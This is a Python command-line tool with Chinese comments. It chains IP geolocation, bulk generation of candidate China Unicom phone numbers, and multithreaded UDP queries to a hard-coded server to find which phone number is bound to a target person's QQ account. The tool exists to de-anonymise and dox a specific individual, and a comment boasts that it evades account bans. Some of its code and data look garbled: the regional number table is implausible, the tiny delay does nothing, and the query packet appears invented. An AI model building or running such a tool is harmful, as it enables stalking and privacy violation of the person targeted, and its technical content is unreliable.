# 极速多线程版 IP解析+手机号生成+过滤+高速匹配QQ
import socket
import time
import requests
import threading

# 全国联通4位地区编码库
area_segment = {
    "北京-联通": ["0100","0101","0102"],
    "天津-联通": ["0220","0221"],
    "河北石家庄-联通": ["0311","3110"],
    "河北唐山-联通": ["0315","3150"],
    "河北邯郸-联通": ["0310","3100"],
    "河北保定-联通": ["0312","3120"],
    "山西太原-联通": ["0351","3510"],
    "内蒙古呼和浩特-联通": ["0471","4710"],
    "辽宁沈阳-联通": ["0240","0241"],
    "辽宁大连-联通": ["0411","4110"],
    "吉林长春-联通": ["0431","4310"],
    "黑龙江哈尔滨-联通": ["0451","4510"],
    "上海-联通": ["0210","0211","0212"],
    "江苏南京-联通": ["0250","0251"],
    "江苏无锡-联通": ["0510","5100"],
    "浙江杭州-联通": ["0571","5710"],
    "安徽合肥-联通": ["0551","5510"],
    "福建福州-联通": ["0591","5910"],
    "江西南昌-联通": ["0791","7910"],
    "山东济南-联通": ["0531","5310"],
    "山东青岛-联通": ["0532","5320"],
    "河南郑州-联通": [
        "0139","0163","0171","0371","0380","0381","0382","0383",
        "0384","0385","0386","0452","2324","3700","3710","3711",
        "3712","3713","3714","3715","3720","3730","3740","3750",
        "3760","3770","3771","3772","3773","3780","3790","3794",
        "4000","4001","4002","4003","4004","4005","4333","9211",
        "9216","9217","9218","9219"
    ],
    "河南洛阳-联通": ["0379","3790"],
    "河南开封-联通": ["0378","3780"],
    "河南安阳-联通": ["0372","3720"],
    "河南新乡-联通": ["0373","3730"],
    "河南许昌-联通": ["0374","3740"],
    "河南平顶山-联通": ["0375","3750"],
    "河南信阳-联通": ["0376","3760"],
    "河南南阳-联通": ["0377","3770"],
    "河南漯河-联通": ["0395","3950"],
    "河南商丘-联通": ["0370","3700"],
    "河南周口-联通": ["0394","3940"],
    "河南驻马店-联通": ["0396","3960"],
    "湖北武汉-联通": ["0270","0271"],
    "湖南长沙-联通": ["0731","7310"],
    "广东广州-联通": ["0200","0201"],
    "广东深圳-联通": ["0755","7550"],
    "广西南宁-联通": ["0771","7710"],
    "海南海口-联通": ["0898","8980"],
    "重庆-联通": ["0230","0231"],
    "四川成都-联通": ["0280","0281"],
    "贵州贵阳-联通": ["0851","8510"],
    "云南昆明-联通": ["0871","8710"],
    "陕西西安-联通": ["0290","0291"],
    "甘肃兰州-联通": ["0931","9310"],
    "青海西宁-联通": ["0971","9710"],
    "宁夏银川-联通": ["0951","9510"],
    "新疆乌鲁木齐-联通": ["0991","9910"]
}

UNICOM_PREFIX = {"130","131","132","155","156","166","175","176","185","186","196"}
queue_lock = threading.Lock()

# 1. IP解析
def ip_parse():
    print("\n==== IP归属地解析 ====")
    ip = input("输入纯IP地址：").strip()
    try:
        res = requests.get(f"http://ip-api.com/json/{ip}?lang=zh-CN", timeout=5)
        d = res.json()
        if d["status"] == "success":
            print(f"国家：{d['country']}")
            print(f"省份：{d['regionName']}")
            print(f"城市：{d['city']}")
            print(f"运营商：{d['isp']}")
        else:
            print("IP解析失败")
    except:
        print("网络请求异常")
    input("\n回车返回菜单...")

# 2. 生成手机号
def gen_phone():
    print("\n==== 全国城市手机号生成 ====")
    keys = list(area_segment.keys())
    for i,n in enumerate(keys):
        print(f"{i+1}. {n}")
    try:
        idx = int(input("选择城市序号："))-1
        segs = area_segment[keys[idx]]
    except:
        print("序号错误")
        return

    pre3 = input("手机号前3位：").strip()
    suf2 = input("手机号最后2位：").strip()
    if len(pre3)!=3 or len(suf2)!=2 or not (pre3+suf2).isdigit():
        print("必须输入3位和2位纯数字！")
        return

    lst = []
    for s in segs:
        for x in range(100):
            mid = f"{s}{x:02d}"
            phone = pre3 + mid + suf2
            lst.append(phone)

    with open("候选手机号.txt","w",encoding="utf-8") as f:
        for p in lst:
            f.write(p+"\n")
    print(f"生成完成，共{len(lst)}个号码")
    input("\n回车返回菜单...")

# 3. 过滤无效号码
def is_valid(phone):
    return len(phone)==11 and phone.isdigit() and phone[:3] in UNICOM_PREFIX

def filter_phone():
    print("\n==== 批量过滤无效号码 ====")
    try:
        with open("候选手机号.txt","r",encoding="utf-8") as f:
            nums = [i.strip() for i in f.readlines() if i.strip()]
    except:
        print("没有找到候选手机号，请先生成")
        return

    ok = [p for p in nums if is_valid(p)]
    with open("有效手机号.txt","w",encoding="utf-8") as f:
        for p in ok:
            f.write(p+"\n")
    print(f"过滤完成，有效号码：{len(ok)} 个")
    input("\n回车返回菜单...")

# 4. 手机号查QQ核心
def phone_to_qq(phone):
    if len(phone) != 11 or not phone.isdigit():
        return None
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(2)
    serv = ("183.60.46.159")
    buf = bytearray([0x02])
    buf.extend(bytes.fromhex("000100000001000000020000"))
    buf.extend(phone.encode())
    buf.append(0x00)
    try:
        sock.sendto(buf, (serv,8000))
        data = sock.recv(1024)
        sock.close()
        if len(data)>40:
            qq_hex = data[20:28].hex()
            return str(int(qq_hex,16))
    except:
        pass
    return None

# 多线程单个检测
def fast_check(phone, target_qq, match_res):
    qq = phone_to_qq(phone)
    with queue_lock:
        if qq == target_qq:
            print(f"✅ 匹配成功：{phone} → {qq}")
            match_res.append(phone)
        elif qq:
            print(f"{phone} → 绑定QQ：{qq}")
        else:
            print(f"{phone} → 查询失败")

# 5. 极速批量匹配QQ
def match_qq():
    print("\n==== 极速多线程匹配QQ ====")
    target = input("输入对方QQ：").strip()
    try:
        with open("有效手机号.txt","r",encoding="utf-8") as f:
            phones = [i.strip() for i in f.readlines() if i.strip()]
    except:
        print("请先生成并过滤号码")
        return

    print(f"开始极速匹配，共{len(phones)}个号码")
    res = []
    threads = []
    # 延迟压低，极速不封号
    delay = 0.0000000000000000000001

    for p in phones:
        t = threading.Thread(target=fast_check, args=(p, target, res))
        t.start()
        threads.append(t)
        time.sleep(delay)

    # 等待全部线程结束
    for t in threads:
        t.join()

    with open("匹配成功手机号.txt","w",encoding="utf-8") as f:
        for p in res:
            f.write(p+"\n")
    print(f"\n匹配结束！共找到 {len(res)} 个对应手机号")
    input("\n回车返回菜单...")

# 主菜单
def main():
    while True:
        print("\n======== 极速整合工具 ========")
        print("1. IP归属地解析")
        print("2. 全国生成手机号")
        print("3. 过滤无效号码")
        print("4. 极速匹配QQ(多线程)")
        print("5. 退出程序")
        print("============================")
        c = input("请选择功能：").strip()
        if c == "1":
            ip_parse()
        elif c == "2":
            gen_phone()
        elif c == "3":
            filter_phone()
        elif c == "4":
            match_qq()
        elif c == "5":
            print("程序退出")
            break
        else:
            print("输入错误，请重新选")

if __name__ == "__main__":
    main()